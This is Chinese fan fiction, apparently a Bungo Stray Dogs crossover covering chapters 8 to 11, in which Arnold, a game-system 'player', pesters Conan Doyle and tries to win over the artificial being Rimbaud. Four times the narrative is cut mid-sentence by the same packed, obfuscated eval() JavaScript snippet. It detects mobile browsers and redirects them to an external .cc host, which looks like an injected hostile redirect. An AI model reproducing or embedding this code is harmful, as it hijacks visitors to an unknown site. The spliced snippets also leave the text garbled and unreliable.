柯南·道尔三年前就意识到,阿诺德虽然有着十五六岁少年的外貌,实际上却幼稚到了常人难以理解的地步,对已有的认知异常顽固,到了一种难以根除的程度。这其实不应该。明明钟塔侍从才是第一个接触他的组织,最开始阿加莎曾试图教他知识和礼仪,但还是抓狂着放弃了——根本油盐不进。 看阿诺德的表现,简直就像是有什么邪恶的东西提前将他笼络,并且教导成了现在残忍过头的模样,。 . 战时的绝密电报一旦发出便不可撤回,柯南·道尔只得重新发了一条说明情况,得到了女王的谅解。这位善解人意的女王陛下甚至还赞扬了柯南·道尔对阿诺德的关心,其他人都应该像他这样关爱同伴。 柯南·道尔:“……”话是这么说没错,但他看着白纸黑字的夸奖,却怎么也高兴不起来。 除此之外,女王还询问了阿诺德的状况,表示若是有需要,可以借医术精湛的宫廷医师一用,只希望不要留下暗伤,言辞之间皆是对臣属的爱护,然而柯南·道尔却毫不犹豫地拒绝了。 看阿诺德那个活泼的样子,别说是内伤了,连皮都没破。 柯南·道尔瞥了一眼乐此不疲地乱翻他书房的阿诺德,怎么看怎么不顺眼,走上前去扶正了阿诺德歪斜的帽子,这才感觉自己的眼睛不再受到伤害。 阿诺德皱了皱鼻子,试图把有些遮挡视线的帽檐顶起来,结果失败了。这顶帽子是他从柯南·道尔房间里翻出来的,对方初次看到他戴这个帽子的时候只是挑了挑眉,无所谓地看着他顶着尺寸偏大的帽子到处跑,实在看不过眼才帮他扶正,看起来脾气好得过分了。 这都不生气,真的是柯南大叔本人吗?阿诺德踮着脚,悄悄挪到柯南·道尔宽大躺椅的后面,双手搭在椅子的靠背上,想跟对方开一个恶作剧似的玩笑。 本想趁着柯南·道尔打盹的时候吓对方一跳,没想到对方只是闭着眼假寐,察觉到他的靠近也不睁眼,等阿诺德按耐不住地扯柯南·道尔单片眼镜的银链子的时候,才猛的掀开手上油墨未干的温热报纸,糊了阿诺德一脸。 阿诺德一下子没反应过来,被报纸上的油墨弄了一脸,呆了几秒,意识到偷鸡不成蚀把米,索性直接扑了上去,把脸上沾着的油墨全部蹭到了柯南·道尔整洁的鼠灰色外套上,但也是杀敌一千自损八百,脸蛋不复白净,几乎成了一只脏兮兮的小猫。 柯南·道尔压根躲都不躲,任由新外套被抹黑,等到阿诺德蹭够了才发出嘲笑的声音,“小花猫。” 阿诺德不爽地反将一军,“老大叔。” 柯南·道尔闻言剧烈地呛咳了一声,原本端起茶杯的动作停滞在半空,平静的表情有些崩坏,“臭小鬼,知不知道你在说什么?” 阿诺德做了个鬼脸,怪叫,“嘿,老大叔!” 发现柯南·道尔恢复正常,举着手杖就要打他,阿诺德这才感觉一切如常,柯南大叔刚才的样子太平淡了,平淡得都不像他了。身手矫健地躲过来自超越者的手杖攻击,阿诺德一把拉开门跑出去了。 眼睁睁看着某个先撩者贱的人全身而退,柯南·道尔感到一阵熟悉的窝火,回想起阿诺德脱口而出的“老大叔”,脑海中闪过一个念头,他今年不过四十出头,由于保养得宜,白头发都没几根,不少人都以为他刚到而立之年,怎么就老了? 虽然比起阿诺德这小子的确不算年轻,但也没到“老”的地步吧!柯南·道尔有点气笑了,心道早知道不如就随便让阿诺德捉弄了,单片眼镜多的是,总好过被对方这样戳心窝子,下午茶都不安生—— 而且,他没记错的话,那小子脸都没洗,就这么大摇大摆地出去了! 柯南·道尔心累,神啊,能不能告诉他,他该怎么挽回阿诺德在士兵们眼中的形象?他好不容易才解决了“不知名的栗发女子爬上塔楼,徒手击碎玻璃入侵指挥官办公室”的事情,现在又要处理新的麻烦了! 还真是个行走的麻烦精! . 阿诺德是第一次来督战塔楼这样的建筑,刚开始的时候很是新奇,瞧来瞧去,可是新鲜感消退得快,没过几天,他就有点无聊了。 “莫泊桑回巴黎了?”阿诺德指尖划过系统提供 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345423|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情报,哼了一声,“狡猾的NPC,那就让他自己暂时保管一下性命吧,可别被别人杀了。” 在他心中,丧命于他手的格林和尚且活着的莫泊桑都属于阴险NPC的范畴,他一向记仇且小气,差点被困在【格林童话】里的仇,他一定会亲手报复回来。 “好无聊啊。如果莫泊桑没走就好了,我可以直接去找他。”阿诺德叹息,巴黎还是有点远。 【检测到已满足要求,是否开启‘成就’功能?】正当阿诺德百无聊赖地趴在窗台上发呆的时候,系统冷不丁道。 阿诺德眼睛一亮,他宅在伦敦时曾玩过许多单机游戏,其中不少游戏都存在“成就”的设定,达成特定条件就可以解锁成就。作为一名收集癖玩家,他打通过市面上大多数游戏的全成就收集,所以系统一说,他就知道是什么意思。 “给我看看!”阿诺德迫不及待地点开成就栏,界面上灰色的锁“咔嚓”一声就自动解开了,琳琅满目的成就立刻出现在他眼前,看得他眼花缭乱。 成就界面的最上方有一个进度条,显示为“0”,意思是当前成就达成数量为0。每达成一定数量的成就,就可以获得奖励,跟任务奖励差不多,都是属性点和一些杂七杂八的东西。 阿诺德的上一个任务已经完成,奖励是若干属性点和一副看似平平无奇的墨镜,毕竟是系统发放的奖励,他试了一下那个墨镜,没发现有什么特别的地方。 【任务二:收养六眼神子·五条悟,状态:已完成,奖励已发放】 尽管属性点对于现在的阿诺德来说已经没有太大作用,阿诺德还是开始兴致勃勃地查看成就,点开详情,具体细节就详尽地为他展示出来,他只需要按照要求做就行了。 开头的成就都是新手级别的简单,阿诺德呼出一口气,系统就“叮”了一声,【xx成就已完成。】喝一口水,系统又“叮”一声,一天下来叮叮当当响个不停,阿诺德挖了挖耳朵,饶是他也觉得有点吵。 “音效可以关了吗?” 系统不吭声,默默关掉了叮叮当当的声音。 . 8. chapter8 作为丹麦仅有的几名珍贵超越者之一,格林自从失去音讯之后,丹麦领导者碍于国内外的压力不得不撤回了军队,宣布退出异能战争。 虽然明面上说是失踪,但实际上都很清楚,格林多半是凶多吉少。福楼拜在格林房间里发现的那根血腥的断指,经过DNA检测证明是格林的,罪魁祸首竟然敢留下这种罪证,自然不可能将格林活着放回来,如今应该是死得不能更死了。 福楼拜看着丹麦那边发来的电报,丹麦对格林生还已经不报期望,只是希望法国这边能看在曾为盟友的份上,找回格林的尸身,否则尸体流落异国,未免委屈了这位为国抛头颅洒热血的超越者。 言辞间,福楼拜察觉到对方似乎并不打算报复英国,对此并不意外,毕竟报仇也是要看情况的,歌德等人已经到了极限,再也拖不住莎士比亚的脚步,若是再紧咬着不放,不仅杀不了阿诺德,还会与实力强横的英国结下更深的仇怨,不如及早退出,也好休养生息——异能战争使欧洲各国都满目疮痍,及时收手不失为一种好的选择。 福楼拜叹了口气,本来就是上级先联合丹麦打算对阿诺德下死手,对方还击也没什么好指摘的。好在莫泊桑已经回巴黎养伤去了,这是唯一让他宽慰的一点。 . 法国巴黎。 莫泊桑一经回国就受到了数不清的慰问,烦不胜烦地闭门送客。用脚趾头想都知道,除了几个真的和他关系亲近的友人,其他人都是来看热闹的,以他的傲气,当然不愿意被人当乐子看。 送走面目各异的客人,莫泊桑吐出一口浊气,神情阴郁。任谁被击碎了自信,都不可能高兴得起来,莫泊桑自幼就是备受关注的强大异能者预备役,自打晋级为万里挑一的超越者,更是万众瞩目,从这种环境下成长起来的人就算表面上看起来再平易近人,内里终归还是骄傲的,可谁也没料到,他十几年来建立的信心和自傲就这么突兀地被碾碎,他曾以为自己已经是同龄人之中的佼佼者,殊不知只是井底之蛙的无知罢了。 他自嘲似的笑了一下,回忆起自己在短短一分钟内差点死在某人手里的无力之感,终于意识到了人外有人天外有天是什么意思。难怪老师说他太过焦躁,要想跨入巅峰之境,必须戒骄戒躁。想来也是,老师说的没错,他自打成为超越者就不再如以往那样刻苦,转而花天酒地,跟狐朋狗友一起喝酒唱歌。 莫泊桑羞愧地捂住了脸,想到自己与那个人的第一次见面,对方想必已经把他轻佻愚蠢的丑态尽收眼底了吧。 哦!上帝啊,莫泊桑痛苦地想,如果时间能倒流,他绝对不会再主动请缨,跑去自取其辱了! 他身体还没恢复好,一连十几天都住在病房里,某天,替他换药的护士告诉他,“有位先生自称您的朋友,想来看望您,要让他进来吗?” 莫泊桑心情低落,“不见。” 护士闻言就出去了,不一会儿又捎来口信,“那位先生说,他叫魏尔伦。” “!”莫泊桑差点跳起来,满脑子都是魏尔伦这家伙不应该还在执行谍报任务么,“他怎么来了?” 他抹了把脸,看在以往的交情上还是没有拒之门外,“算了,你叫他进来吧。” 黑色长卷发的青年走进病房时,就看见昔日的友人病殃殃地坐在床上,一脸的苦闷。刚回到巴黎的保罗·魏尔伦风尘仆仆,看起来有些疑惑,“你这是怎么了?” 莫泊桑脸皮还没有厚到会把自己被吊打的事情说出去的地步,说话有气无力,“这个不重要。话说你什么时候回来的?也不提前说一声。” 保罗·魏尔伦眼神中透出一丝愉快,显然,他跟莫泊桑不一样,后者碰到硬茬子所以大败而归,而保罗·魏尔伦则圆满完成了任务。 保罗·魏尔伦眉梢带着笑意,“我才刚到巴黎,衣服都没来得及换,一回来就来找你了。” 莫泊桑有些感动,虽然奇怪自己和魏尔伦的关系什么时候这么好了,但是对方既然这么看重他这个朋友,他自然不能扫兴。 “我身体还没好,想喝酒的话,我好了就去找你。” 莫泊桑正等着对方露出担忧的表情,结果保罗·魏尔伦不但不担心,神情反而变得有些困惑。 保罗·魏尔伦的样子看上去有点难以启齿,“亲爱的,你想多了,我来这里只是为了找你还钱。”看到莫泊桑一脸晴天霹雳,没有意识到自己发言不妥,这位低情商选手的下一句话更是如一柄刀直直插.入莫泊桑的胸口。 “呃,你应该没忘吧?就是上个月你在酒吧发酒疯,弄坏了不少桌椅,还砸烂了十几个高脚杯,你醉的不省人事,还是我帮你垫的钱。”保罗·魏尔伦看见莫泊桑表情空白,不由得有些担心对方把这事儿给忘了,赶忙提醒道。 而错付真心的莫泊桑捂住胸口,几乎要流出眼泪,为自己对魏尔伦这家伙的可笑幻想。他到底为什么会觉得魏尔伦这种人会关心他啊?? 保罗·魏尔伦拿着莫泊桑给的卡,脑海中闪过对方埋怨的样子,只觉得莫名其妙。他刚完成任务,不清楚莫泊桑遭遇了什么挫折,见对方浑身笼罩着低沉的气氛,还以为是情场失意之类的小事,毕竟莫泊桑以前就经常这样,不需要别人安慰,很快就能调理好。 . 保罗·魏尔伦这次任务完成得很完美,上峰给他升了职,还发了一大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345424|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔奖金,足够吃撑十年的优渥生活。回到家中,他打开电视看了会新闻,新闻枯燥乏味,让人顿感有些无趣。他在沙发上坐了半天,决定去找酒肉朋友打发时间。 但是他的朋友们都是血统纯正的法国人,这个时间点不是在陪情人约会逛街,就是在酒吧撩骚唱K,保罗·魏尔伦对那种人太多的场合不太感冒,也不想突然被拉进奇怪的impart,只好独自一人度过夜生活。 他已经习惯了孤独,也学会了享受孤独。颇有闲情逸致地取来一只高脚杯,倒入刚好没过杯底的红酒,晃了晃杯子,决定慢慢享用晚餐,但他刚要切割羊排,刀具还未来得及落下的时候,就有人打断了这清静的场景。 他垂眸看了一眼电话,是上级的内部通讯。 面对上面的安排,保罗·魏尔伦并不打算做出什么出格之举,他从代号为【牧神】的通缉犯手中带回的实验体‘黑之十二号’,其归宿也不应由他决定,上级委婉地询问了他的意见,他可以拒绝,但是没必要。 “‘黑之十二号’目前状态稳定,为了方便称呼,我们决定暂时叫他‘兰波’。【牧神】的实验记录中明确说明了这个实验体的基因来自于一个叫做‘兰波’的异能者。” “大约一周内,‘兰波’将奉命前往对英战线的北方战场,替补莫泊桑的位置,对英施加压力。” 出于安全考虑,上级不可能让‘黑之十二号’单独行动,因此将他带回的魏尔伦刚闲下来,又得到了新的任务。 “是,”他对突如其来的追加任务没有多少想法,淡然接受了。作为法国的超越者,他理所应当为国效力,“我会作为‘黑之十二号’的监督员和他一起前往战场。” 许是为了让他更加尽心尽力,上级又承诺道,“等战事结束,我们会推荐你为‘兰波’的教导员。” 虽然是人造超越者,但毕竟实力摆在那里,‘黑之十二号’是一张白纸,意味着可以更轻易地拉拢到麾下,他教导员的位置其实很抢手。 保罗·魏尔伦可有可无地“嗯”了一声,挂断了电话。他权力欲很淡,倒是不在意这个承诺所代表的价值。轻轻摇晃着杯中的红酒时,眼前不知为何浮现了初见时,【牧神】命令‘兰波’全力保护其创造者,‘兰波’身上的营养液还未干涸,沾在纯白的布料上,毫无感情地看着他,遵从创造者的号令。 当时的保罗·魏尔伦略惊讶地睁大了眼睛,为对方超乎寻常美丽的容颜。下一秒,他被突然袭来的重力攻击,用出【彩画集】才制服了对方,犹还记得对方倒下去时仍面无表情,沉默着躺在地上,直勾勾地盯着实验室的金属天花板,仿佛并不在乎被击败的事实。 9. chapter9 英国北方。 无事可干时,阿诺德沉迷于刷成就,把大部分日常成就刷完之后,就开始研究一些特殊成就。 “这个——‘千里姻缘一线牵’到底要怎么做?”阿诺德问系统,“我刚刚撮合了一对同性NPC,这个成就怎么还没亮?” 系统拉出了这个奇葩成就的详细介绍,【让悲剧变成喜剧,挽回一段注定悲凉的缘分。】 阿诺德提问,“我不是已经让一对本不可能在一起的人在一起了吗?你是不是出BUG了?” 面对主人的质疑,系统老妈子似的解释,【即使玩家不作干预,他们也会在一起的。】 阿诺德反驳,“你怎么知道他们会在一起?我调查得清清楚楚,那对NPC其中一方的父母非常厌恶同性恋,正常来说肯定会BE的。” 系统坚持它的运算结果,【系统没有欺骗您的理由。】 阿诺德哼哼道,“我怎么知道你没骗我?” 【……】系统感觉自己的代码有点乱,它心理年龄极小的主人不讲道理,而它作为系统,除了苍白的辩解,根本没有别的选项。 无奈之下,系统只好调出了NPC的命定轨迹,决定用细节说服阿诺德。 系统讲了一个曲折的爱情故事,虽然机械音一如既往的僵硬,阿诺德却听得津津有味,“然后呢?” 系统公式化地道,【然后他们就幸福地生活在了一起,白头偕老。】 阿诺德“切”了一声,“我还以为接下来会发展到‘婆媳之争’‘七年之痒’的剧情呢。” 自从看了柯南·道尔背地里写的以阿诺德为原型的狗血NP爱情小说之后,阿诺德特意找来大量类似的小说,让系统念给他听。在通俗小说的阅读量上,他可以说是博览群书了。 “按理来说,不应该就这么结束了吧?后面应该还有很多很多经典剧情才对。”阿诺德恶狠狠啃了一口蓝莓蛋糕的奶油,被甜的皱起眉头,吃完还算有一点酸意的蓝莓就不肯再吃了。 【……】系统默了默,【您是不是忘了,这不是小说?】 阿诺德眸光呆了呆,听得太入迷,他都忘了这回事。都怪系统,给他念了那么多狗血小说,搞得他一听到系统缺乏感情色彩的机械音,就自动进入了听书模式。 【系统提醒您,小说中的主角在一起之后的家里长短的情节,其大多是作者凑字数的产物。】系统指出,【通常认为,主基调为爱情的小说不应该掺杂太多与爱情无关的琐事,相当一部分受众群体认为这种情节相当多余,他们只想看错综复杂的爱情纠葛。】 “我当然知道!”阿诺德哼了一声,“只是懒得说罢了。而且家里长短也很有意思啊,我都没怎么见过。” 他成长的环境与常人不同,寻常人家的烟火气跟他沾不上边,正常人在他这个年纪还在苦哈哈地读书和考试,而他已经成为钟塔侍从的顶头上司之一了。 没有经历过正常教育的阿诺德在听到那些普通人习以为常、甚至有些烦恼的情况时,只会觉得有趣。 因为这样的事情,距离他实在太远太远了。 . 近些天,阿诺德的过分低调引起了柯南·道尔的注意。 出于对阿诺德默不作声绝对没好事的预见,柯南·道尔私下调查了对方近来的动向。 抛开无甚异常的日常玩闹,就是阿诺德明里暗里撮合了一对同性情侣的反常之事。 “唔?”柯南·道尔盯着调查结果,扶了扶镜片,心下纳闷阿诺德怎么突然对一对同性恋的士兵多了关注,以前没看过阿诺德有这倾向啊,对方就是个没长大的小孩子,哪里懂得什么谈恋爱? “这又是受什么刺激了?”柯南·道尔思考起来。 喜欢同性么?这在英国是很常见的,他倒是没有因此多出不妙的观感,只是未雨绸缪地想到了可能因此衍生出的麻烦。 阿诺德那小子一向喜欢模仿,有段时间很喜欢他写的《福尔摩斯探案集》里的主角,整天拿着个烟斗到处玩,各种款式和花纹的侦探服来回换,过了一段时间,侦探服倒是不爱穿了,烟斗还是从不离身,必要的时候可以作为武器扔出去,威力还真不小。 想到烟斗在阿诺德手中的奇妙用途,他不由嘴角一抽。 万一阿诺德看了他写的狗血小说之后,找了个不怀好意的男人要私奔呢?柯南·道尔毫不怀疑,以阿诺德清奇的脑回路,是真的有可能会这样做。 想到这种可怕的可能,柯南·道尔不明显地抖了抖,感觉有些牙酸。 . 那个奇葩的‘千里姻缘一线牵’成就没有进展,阿诺德耐心有限,就跳过去做下一个成就,结果却并不是很顺利,因为下一个成就涉及某个阿诺德不太了解而且没有开放的功能,‘眷属’。 这个成就需要收服一个眷属,但是他不清楚具体步骤。 阿诺德点开系统界面,划了好几下,才跳到一个很久都没进入、显得有些陌生的灰色上锁界面,上锁象征着尚未开放,阿诺德暂时无法使用这个功能。 “‘眷属’功能怎么才能解锁?”阿诺德有这个疑问很久了,但是系统每次给出的答复都千篇一律,看不懂有什么意义。 【当玩家遇到第一次符合条件、可以成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345425|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为玩家眷属的个体时,‘眷属’功能就会解锁。】 “这个所谓的符合条件也太模糊了,”阿诺德不满道,“我怎么知道符合‘不知名’条件的个体在哪里?” 他不是第一次表达这种不满,系统碍于底层代码逻辑,保持缄默。 无果,阿诺德气呼呼地跑去找柯南·道尔喝红茶,把对方珍藏的红茶喝了个精光,见阿诺德完全不懂品茶,只是一味牛饮,柯南·道尔起初有些肉痛,后来不知怎的,脸上竟浮现些许松了口气的神色。 总算恢复正常了。柯南·道尔心想,对方前几天那个反常的样子,才真叫人害怕。 阿诺德没有从柯南·道尔的脸上看到怒意,感觉有些失望,他果然还是更喜欢柯南大叔气急败坏的样子。 柯南·道尔不知道阿诺德在想些什么欠揍的话,见阿诺德小脸埋在宽大的帽檐下,又没忍住帮他扶了一下。总算是扶正了,但也只是一时。 阿诺德脸小,头围也小,只是稍微歪了下头,过大的帽子就不由自主地往前倾,把脸蛋遮得严严实实。 “……”虽然知道阿诺德是个性格糟糕透顶的坏小子,他竟还是觉得看起来更像一只爱捣乱的小猫了,可见一张好脸对人的影响。 柯南·道尔叹了口气——和阿诺德待在一起的时光,他几乎要把这辈子的气都叹完了。 “过来,这帽子不适合你。”柯南·道尔从帽子架上面挑挑练练,取下一个暗红色的侦探帽一把扣在阿诺德脑袋上,衬得皮肤白皙。 阿诺德在镜子前面打量一番点了点头,显然很满意。 果然,这顶帽子要适合多了,阿诺德戴起来刚刚好,露出秀气的脸蛋,微红的鼻尖显得活力十足。 感觉单独戴一顶侦探帽还有些不完整,柯南·道尔又找来一套尺码合适的侦探套装给阿诺德穿上,顺手用发带把偏长的栗色卷毛在脑后扎成一股,乍一看人模狗样,看不出是个人嫌狗憎的性子。 柯南·道尔欣赏一会儿,自满于自己的眼光,见阿诺德难得乖巧地站在原地,睁着一双形状圆润、看起来乖顺的眼眸看着他,就算是饱受阿诺德折磨的他也心神一动,恍惚间以为对方如外表那般惹人怜爱。 别的不说,阿诺德的确有一副好皮囊,每一处细节都宛如造物主精心雕刻,没有一丝瑕疵。 可惜啊,可惜,如果性格不那么糟就好了。柯南·道尔心中叹惋。 柯南大叔是不是被调包了?跟老爷爷一样慈祥,难道真的老了?阿诺德心中狐疑。 二人其乐融融,一派祥和,互不知晓对方的心中所想,否则必定会鸡飞狗跳。 10. chapter10 阿诺德很少为某件事烦恼,就算真的有困扰的事,这件事往往也持续不了多久,就像系统三缄其口的“眷属”成就,很快就有现成的办法送到眼前。 他的运气总是这般好。 . 与英国驻地隔开、显得泾渭分明的法国驻地中,全副武装的士兵们警惕地到处巡逻,戒备森严,任谁也想不到,即使是这样严格的警戒,也会有人悄无声息的潜入。 作为指挥官,福楼拜为新来的同事安排了良好且安全的住宿环境。 “哇哦。”阿诺德压低声音跟系统说,“这是真人比例的人偶吗?怪好看的。” 系统一板一眼,【系统并未监测到机械结构。可以排除机械人偶的可能。】 而独自一人坐在房间里的人形兵器好似什么也没有听到,长长的睫毛遮盖住漠然的神色。阿诺德和对方的第一次见面平静得有些诡异——作为敌对阵营的超越者,阿诺德悄悄潜入敌营,而对方却连眼神都没有多给一个,只是沉默地坐着,如同一个等待命令的机器。 对方出现在系统探测范围内的一瞬间,系统的提示声就在阿诺德的耳边响起。 【检测到符合眷属要求的个体。‘眷属’功能已解锁,是否查看?(是\否)】 【是】 阿诺德快速往下划拉。 【潜在眷属(1)】 【姓名:‘阿蒂尔·兰波’\‘黑之十二号’】 【种族:非人类】 【阵营:法国(可更改)】 【好感(对玩家):30】 阿诺德注意到信息与平时不同的一点,“为什么多出了‘种族’属性?” “眷属”功能已经解锁,系统自然也不必藏着掖着,直白道,【因为成为‘眷属’的条件就是与玩家同种族,您收录的其余NPC中没有符合要求的个体,所以系统默认不予标注。】 阿诺德没有反驳。他知道自己不是人,属于【非人类】的范畴。 在相当长的一段时间内,他都是一只四处游荡的孤魂野鬼,不知怎么绑定了系统,这才被赋予了成为人的权利。更何况,即使有了人类的躯体和名字,他本质上也只是一抹暂居他人身体的游魂。 按照套路,成为“眷属”的前提是一定的好感,对方的初始好感是30,刚好位于20~40之间,意味着对方并不额外厌恶阿诺德,只是视而不见。 摆在眼前的第一要务显然是提高好感,然而阿诺德暂时没有多少头绪。 如果是吃喝玩乐、欺压他人之类的事情,他很有经验,唯独在刷好感这种事情上显得有些生疏——因为他从来没做过。 对于人际关系,他一向习惯强买强卖,例如他的好副官希莱尔,就是被他指名道姓要来的。 倒霉的希莱尔自从来到他的麾下,就告别了以往贵族少爷纸醉金迷的奢侈生活,日常跟着他帮忙收拾烂摊子,还要面对无理的刁难。 “唔——”阿诺德想了想,暂时没想到什么快速刷满好感的法子,正巧生物钟提醒他下午茶时间快到了,索性也不为难自己了。 “反正不着急,慢慢来。现在……我还是回去找柯南大叔蹭点心好了。” 他无声无息地离开了,表面上看起来很迟钝的兰波却似有所觉地抬眼,盯着窗外看了半天。 在这个人造人的认知里,刚刚有陌生的人类进入了他的领域。按理来说应该阻拦,他却无动于衷地看着对方走了,因为没有人命令他拦住对方,既然如此,他也没必要浪费力气。 更甚至,如果没人特意问他,他不会主动把阿诺德来过的事情供出去。 室内又回归一片寂静。 战事陷入了漫长的僵持阶段,还没到超越者出场的时候。 为了起到震慑作用而被派来这里的兰波无事可做,于是就待在自己的一亩三分地里,倒是很清闲。 兰波的人际关系太过简单,就连曾亲手打败他,又将他带回法国的保罗·魏尔伦都只是堪堪认识的程度,两个人共处一室,就是两个闷葫芦大眼瞪小眼,气氛很尴尬,所以即使是对他有所关注的保罗·魏尔伦,也并不常来打扰他。 兰波对此并不在意,时常安静地坐在窗边,似乎在等待些什么。 . 另一边。 经过几天暗戳戳的试探,阿诺德得到了正面反馈,志得意满地对系统说道,“刷好感其实也不是很难嘛。” 【潜在眷属(1)】 【姓名:‘阿蒂尔·兰波’\‘黑之十二号’】 …… 【好感(对玩家):42】 他没有太多刷好感的经验,不知道怎样做可以更快的增长好感。因此,他更多地使用穷举法,找到了刷好感的途径。 兰波好感第一次产生变化,是在阿诺德送出一份礼物之后。 看到好感度的提升,阿诺德先入为主以为是礼物的功劳。在他的观念里,送出的礼物越是重视,越是有利于亲密关系的发展,而他当前最重视的其实是符合他口味的食物,边境可没有希莱尔为他跑来跑去弄酸的罕见的食品。 于是阿诺德忍痛分出自己最爱的超酸蓝莓蛋糕给兰波,但是让人诧异的是,兰波收下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345426|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗边的小蛋糕之后,好感度在短时间内下滑两点,第二天又莫名其妙涨了回来,让人摸不着头脑。 对于好感的涨跌,阿诺德并没有求助系统,而是兴致勃勃地选择自己探索。 如果他稍微问一下系统,系统就会告诉他,兰波的好感度涨幅与那种巨酸的食物没有半点关系,只要味蕾没出现问题,兰波不可能喜欢这种酸得过头的食物。 之所以出现难以理解的变动,当然是有原因的。 作为一个很严谨、真实的游戏,游戏里所有事件的发展都取决于玩家的选择,玩家的属性值变动也可能会带来微妙的影响。 由于属性点溢出,阿诺德把多余的属性点加在了【魅力】上,只要打开面板就能看到满值的力量、速度以及魅力,还有跌至谷底的人缘。 阿诺德本身就有很高的魅力属性,但是他的人缘属性实在是低的离谱,以至于人缘和魅力发生中和,大部分熟知阿诺德秉性的人哪怕第一眼为其皮相所迷惑,也会一个激灵醒悟过来。 然而兰波的情况不一样,他作为阿诺德遇见的第一个符合‘眷属’要求的个体,得到了阿诺德的另眼相待。 可惜兰波并不清楚,看似人畜无害的阿诺德到底是个怎样无药可救、令人抓狂的人间之屑,这张单纯的白纸理所当然地被某人高达100的魅力蛊惑住了,持续上涨的好感度就是最直接的证明。 在兰波的眼里,阿诺德比其他利用他的人要可亲得多,虽然都是他不感冒的人类,但是如果非要选一个的话,他还是更愿意与阿诺德亲近。 即使阿诺德给他一个宇宙超级无敌难吃的食物,他也顶多是短暂地降低两点好感度,在下一次看到阿诺德那种迷惑性十足的脸蛋时,还是不由自主地恢复到了原本的好感,就这么轻易地原谅了这份“捉弄”。 足以见数值对游戏走向的影响。 大约一周后,兰波好感的增长进入了瓶颈期。 阿诺德疑惑地挠了挠头,“已经是极限了吗?” 【好感(对玩家):59】 好感将将卡在59,任他怎么互动都没有增加。这个数值说明他们距离朋友只有一步之遥,偏偏就卡在这里不动了。 系统一如既往地没有剧透,阿诺德的疑问没有持续太久,就被一个突发事件解答了。 【突发事件:假如我并不孤独(S级眷属事件)】 【A.接受】 【B.拒绝】 突发事件都是可以回避的,但是这个事件摆明了跟收服兰波有关,阿诺德毫不犹豫就选了接受。 . 11. chapter11 兰波的视角。 兰波诞生在【牧神】狂喜的目光中。创造他的【牧神】称他为最完美的造物,完完整整地还原了超越者的威能,即使是人造产物,却不输于自然人。 从那时起兰波就逐渐产生了一个概念——他与自然人是不同的,虽然有着相近的外貌,实际上都不算同一个物种。 他从研究员无意中落下的书本中了解到,正常人呱呱落地后在母亲的怀抱中发出第一声啼哭,而他的第一次发声,是【牧神】用指令询问他,“是否接收到指令?” 植根于基因的本能让兰波生涩地回答,“……是。”听起来很滞涩,又带着几分不知所以然的古怪,如同婴儿来到世间的第一声哭泣。 因为兰波的人格是由代码和指令编辑而成的,所以异常听话,不论是怎么样的命令,他都能很好的完成。【牧神】很满意他的表现,呼唤他的时候,不全是叫他“黑之十二号”,有时候也会叫他“兰波”。 “兰波”是他的基因来源者的名字,在黑之十二号出生之前,曾有无数类似的克隆体作为试错的成本被制造出来,又因为不尽如人意的表现被毫不留情地抛弃、焚毁。 若非兰波实在像是一个完美的作品,他的命运就会与同胞们重合,从培养皿粘稠的营养液中苏醒,没多久又被白大褂研究员们的几双有力臂膀抬着扔进焚化炉,也许【牧神】会物尽其用地取下一些肢体,以更好地剔除劣质基因为目标开始新一次的轮回。 【牧神】及其手下的研究员们极少教导兰波常识,所以当陌生的黑卷发超越者打破基地的防御,对【牧神】的生命产生威胁之时,兰波并未产生多少雀跃之类的情感,只是遵循【牧神】的命令,拼死阻拦入侵者的进攻,他不知道入侵者的目的是什么,正如他不清楚自己的未来驶向何方。 他作为人造兵器诞生,理所当然听从命令,悍不畏死地抵挡名为保罗·魏尔伦的自然人的攻击,尽管结果并不如他的主人所愿,但他确实很尊重对方的命令,严格地坚持到了最后一刻。 